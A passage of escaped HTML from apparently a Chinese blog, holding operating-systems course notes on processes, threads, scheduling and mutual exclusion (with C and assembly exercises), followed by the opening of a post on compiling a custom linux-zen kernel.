在同一个进程中,用程序镜像替换这个进程(使用执行程序的程序段和代码段覆盖)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"命令行shell如何执行用户指令\"\u003e命令行(Shell)如何执行用户指令?\u003c/h3\u003e\n\u003cp\u003e用 UNIX 系统举例 (详情见书 P88 最后一段)\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e读取并解析字符串,找到程序\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003efork\u003c/code\u003e/\u003ccode\u003eexec\u003c/code\u003e 系统调用生成子进程\u003c/li\u003e\n\u003cli\u003e子进程使用 \u003ccode\u003eexecvp\u003c/code\u003e 系统调用,使用执行程序的程序段和代码段覆盖。\u003c/li\u003e\n\u003cli\u003e父进程进入等待状态。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e概念:进程的状态有准备态(Ready),等待态(Waiting),运行态(Running)\u003c/p\u003e\n\u003ch3 id=\"读这段代码说最终有几个进程捏\"\u003e读这段代码,说最终有几个进程捏?\u003c/h3\u003e\n\u003cp\u003e先告诉你有四个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\t\u003cspan class=\"n\"\u003epid_t\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003efork\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\" loading=\"lazy\" alt=\"Let’s paint a tree, shall we?\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eLet’s paint a tree, shall we?\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"深入进程\"\u003e深入进程\u003c/h2\u003e\n\u003ch3 id=\"进程终结时候发生了啥\"\u003e进程终结时候发生了啥?\u003c/h3\u003e\n\u003cp\u003e移除所有队列,释放占用的系统资源(内存等),然后返回操作系统。有可能出现僵尸进程,得让父进程来终结:-P\u003c/p\u003e\n\u003cp\u003e进程终结状态如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e程序自愿退出:执行完了/遇到一般错误\u003c/li\u003e\n\u003cli\u003e被迫退出:进程遇到严重错误/被其他进程发信号退出\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"pcb-不是电路板\"\u003ePCB 不是电路板!\u003c/h3\u003e\n\u003cp\u003ePCB (Process Control Block):进程控制块。重点包括以下东西:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e进程状态\u003c/li\u003e\n\u003cli\u003e程序计数器\u003c/li\u003e\n\u003cli\u003eCPU寄存器\u003c/li\u003e\n\u003cli\u003eCPU调度信息\u003c/li\u003e\n\u003cli\u003e内存管理信息\u003c/li\u003e\n\u003cli\u003eAccounting information\u003c/li\u003e\n\u003cli\u003e输入输出状态信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e注意:第六条直译为会计信息。我有两个理解:进程状态信息 / 用户信息\n(我的上帝啊,谁能给我本翻译得十分不错的 Modern Operating System 啊)\u003c/p\u003e\n\u003ch2 id=\"线程概要\"\u003e线程概要\u003c/h2\u003e\n\u003ch3 id=\"线程提出的目的\"\u003e线程提出的目的\u003c/h3\u003e\n\u003cp\u003e对于操作系统来说,中断或者切换一个进程的代价太高了。\u003c/p\u003e\n\u003ch3 id=\"弹出式线程的定义\"\u003e弹出式线程的定义\u003c/h3\u003e\n\u003cp\u003e操作系统收到一个信息后,创建一个线程来处理信息。\u003cbr/\u003e\n概念:进程分为用户态线程(管理归进程),系统态线程(管理归操作系统),混合态进程,以及弹出态进程\u003c/p\u003e\n\u003ch3 id=\"用户态线程的优劣\"\u003e用户态线程的优劣\u003c/h3\u003e\n\u003ch4 id=\"优点\"\u003e优点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程调用很快。\u003c/li\u003e\n\u003cli\u003e线程可以自行定义调度算法。\u003c/li\u003e\n\u003cli\u003e减轻内核调用线程压力。(内核看不到用户态线程)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"缺点\"\u003e缺点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程无法调用阻塞式系统调用。(毕竟只能访问进程里面的玩意)\u003c/li\u003e\n\u003cli\u003e没有时钟,除非运行完退出,其他线程无法运行。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"调度算法\"\u003e调度算法\u003c/h2\u003e\n\u003ch3 id=\"调度发生的时机\"\u003e调度发生的时机\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e新进程的创建\u003c/li\u003e\n\u003cli\u003e进程的退出\u003c/li\u003e\n\u003cli\u003e某进程需要IO操作,\u003c/li\u003e\n\u003cli\u003eIO设备申请CPU中断 (称之为IO中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"一道计算题\"\u003e一道计算题\u003c/h3\u003e\n\u003cp\u003eBy Multilevel Quene Fixed Priority scheduling algorithm, there are 3 priority quenes and 7 processes with following information. Draw the CPU scheduling Gantt chart and complete the following table for the give processes information.\u003c/p\u003e\n\u003cp\u003e通过多层级队列混合优先级 (Multilevel Quene Fixed Priorty) 调度算法,总共有三个优先级队列和七个进程,信息如下。画出 CPU 调度甘特图,然后根据信息填写最下面的表格。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"进程间通信\"\u003e进程间通信\u003c/h2\u003e\n\u003ch3 id=\"基础概念\"\u003e基础概念\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e竞争条件 (race condition) :多个进程间读取一个数据。\u003c/li\u003e\n\u003cli\u003e临界区 (critical region):要与其他进程共享数据区域。\u003c/li\u003e\n\u003cli\u003e互斥访问 (mutual exclusion) 和忙等待 (busy waiting)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"互斥访问方案原则\"\u003e互斥访问方案原则\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e任意两个进程不能同时在临界区。\u003c/li\u003e\n\u003cli\u003e不对 CPU 速度和数量做出假设。\u003c/li\u003e\n\u003cli\u003e临界区外运行进程不能阻塞其他进程。\u003c/li\u003e\n\u003cli\u003e不要让进程进入临界区前无限制等待。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"阅读代码填空\"\u003e阅读代码,填空\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-asm\" data-lang=\"asm\"\u003e\u003cspan class=\"nl\"\u003eenter_region:\u003c/span\u003e\n\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eXCHG\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eCMP\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c\"\u003e#1;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eJE\u003c/span\u003e \u003cspan class=\"no\"\u003eOK\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eCALL\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eJMP\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\u003cspan class=\"no\"\u003eok\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"no\"\u003eRET\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\n\u003cspan class=\"nl\"\u003eleave_region:\u003c/span\u003e\n\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eRET\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e根据 \u003ccode\u003eCMP REGISTER,#1; JE OK; ok: RET;\u003c/code\u003e 可分析出 \u003ccode\u003e#1\u003c/code\u003e 是没上锁,\u003ccode\u003e#0\u003c/code\u003e 是上锁了。\u003cbr/\u003e\n\u003ccode\u003eXCHG\u003c/code\u003e 可以互换两个寄存器的值,如果第一个空填入的是 \u003ccode\u003e#1\u003c/code\u003e ,那么无论如何,判断都是没上锁。所以第一个空填入 \u003ccode\u003e#0\u003c/code\u003e 。\u003cbr/\u003e\n第二个和第三个空是忙等待的东西,分别填的是 \u003ccode\u003ethread_yield\u003c/code\u003e (找另外一个进程)和 \u003ccode\u003eenter_region\u003c/code\u003e 。\u003cbr/\u003e\n第四个空填入 \u003ccode\u003e#1\u003c/code\u003e ,用完了就解锁。\u003c/p\u003e\n\u003cp\u003e概念 互斥访问策略\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e关闭中断。(单 CPU 有效)\u003c/li\u003e\n\u003cli\u003e锁变量与忙等待。\u003c/li\u003e\n\u003cli\u003e严格轮换。\u003c/li\u003e\n\u003cli\u003ePeterson 算法。\u003c/li\u003e\n\u003cli\u003e汇编 \u003ccode\u003eTSL\u003c/code\u003e 指令。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"严格轮换机制作业\"\u003e严格轮换机制作业\u003c/h3\u003e\n\u003cp\u003e请修改附件中的代码,实现strict alternation机制(注要能够运行)。此外需要说明程序中那个部分是关键区,以及它为什么是关键区。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt; // For sleep().\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// Critical region, because both threads needs to access this.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// Lock Variable\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Thread 2.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nf\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d haha\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003epthread_t\u003c/span\u003e \u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003epthread_create\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// Thread 1.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d hehe\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以下是编译运行方式。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003egcc thread.c -lpthread -o thread \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./thread\nps -aux \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep thread \u003cspan class=\"c1\"\u003e# 记下 pid 号码\u003c/span\u003e\ntop -H -p PID \u003cspan class=\"c1\"\u003e# 查看该 PID 对应的线程状态\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e本程序的关键区是 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eturn\u003c/code\u003e ,因为它是两个进程共享的数据区域。其中 \u003ccode\u003ea\u003c/code\u003e 是两个进程互相访问的数据区,turn 是锁变量。\u003c/p\u003e\n\u003ch3 id=\"生产者和消费者问题\"\u003e生产者和消费者问题\u003c/h3\u003e\n\u003cp\u003e阅读代码,看看有啥问题。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e在单核 CPU 上:\u003c/p\u003e\n\u003cp\u003e先执行消费者进程:\u003cbr/\u003e\n发现仓库里没有东西,准备睡眠。但是还没睡眠,进程切换到生产者了。\u003cbr/\u003e\n生产者开始生产产品,发现仓库里有东西,向消费者进程发出唤醒信号。进程切换到消费者。\u003cbr/\u003e\n消费者进程是醒着的,只是准备睡眠,把唤醒信号忽略掉,然后睡眠了,退出了 CPU 。\u003cbr/\u003e\n最后生产者把仓库填满了,也睡了。两个进程都睡了:-P\u003c/p\u003e\n\u003cp\u003e如果目前仓库满了:\u003cbr/\u003e\n生产者决定睡眠,但还没睡,进程切换到消费者了。\u003cbr/\u003e\n消费者用了一个产品,发现仓库里数量为 N-1,唤醒生产者。\u003cbr/\u003e\n生产者忽略了唤醒信号,睡眠。\u003cbr/\u003e\n消费者用完了所有东西,也睡了:-P\u003c/p\u003e\n\u003cp\u003e要点:准备睡眠时切换进程了,唤醒信号被忽略。\u003c/p\u003e\n\u003ch3 id=\"mutex互斥锁和-semaphore信号量的不同\"\u003eMutex(互斥锁)和 Semaphore(信号量)的不同\u003c/h3\u003e\n\u003cp\u003eMutex 实现在用户态,代价低,数量上限高。Semaphore 实现在内核态,代价高,数量上限低。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/operating-system-1-thread.html"},{"title":"自己编译 Linux 内核,好像一点用都没有?","time":"2022-02-11T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/HuqXCyzwJA3N2kE.jpg\" alt=\"Featured image of post 自己编译 Linux 内核,好像一点用都没有?\"/\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/li\u003e\n\u003cli\u003e为啥自己编译没用~性能对比和优劣势对比\u003c/li\u003e\n\u003cli\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/li\u003e\n\u003cli\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/li\u003e\n\u003cli\u003e结尾\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"为什么我要自己编译内核-linux-内核的多元化\"\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/h2\u003e\n\u003cp\u003e很简单,下学期我有门课,叫“操作系统”,据说需要编译内核。实际上我之前编译过,但是我没有接触过设置,这回想看看我能设置啥。\u003cbr/\u003e\n不过我最讨厌学习了,所以接下来的才是真正原因233\u003cbr/\u003e\n我玩《黑山起源》,玩起来很卡。游戏设置当然是调了,但根据我之前压制视频,我觉得是内核没有把我的核显和 CPU 压榨干净(我的电脑是轻薄本)。之前看过很多帖子,说用了特制内核,跑起来能快一些。\u003cbr/\u003e\n这里,我提到了“特制内核”。因为 Linux 内核是开源的,自然,有人魔改了很多版本。这里介绍四个版本:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e长期支持版(LTS),为了稳定而优化的版本,相当于 Windows 的 LTSC 版。一般出现在 CentOS 和 Ubuntu 上面。\u003c/li\u003e\n\u003cli\u003elinux-zen,为了桌面电脑而进行过性能优化。我日用这个版本。\u003c/li\u003e\n\u003cli\u003elinux-hardened,为了系统安全而优化的版本。\u003c/li\u003e\n\u003cli\u003elinux-libre,为了代码的绝对自由而砍掉了很多驱动。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然,如果你是为了应付操作系统实验,我建议你还是使用原版吧。首先,网上教程丰富,其次,代码简单易得。\u003c/p\u003e\n\u003ch2 id=\"为啥自己编译没用性能对比\"\u003e为啥自己编译没用~性能对比\u003c/h2\u003e\n\u003cp\u003e鉴于我编译内核,最主要的出发点是加速游戏运行,自然我得提供这方面的数据了。\u003cbr/\u003e\n我的自制内核,基于 linux-zen 内核,精简了很多没必要的驱动,以及在电脑管理模块强制使用性能模式,并根据我的处理器型号(AMD Ryzen 4750U),使用了\u0026#34;Zen 2\u0026#34;性能优化。\u003cbr/\u003e\n以下跑分均在我的电脑上进行,型号是 Thinkpad T14 ,系统是最新的 Arch Linux ,在接电情况下进行。\u003cbr/\u003e\n首先是GeekBench(下称GB)的跑分成绩:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctbody\u003e\u003ctr\u003e\n\t\t\u003cth rowspan=\"2\"\u003e测试次数\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e自制 zen 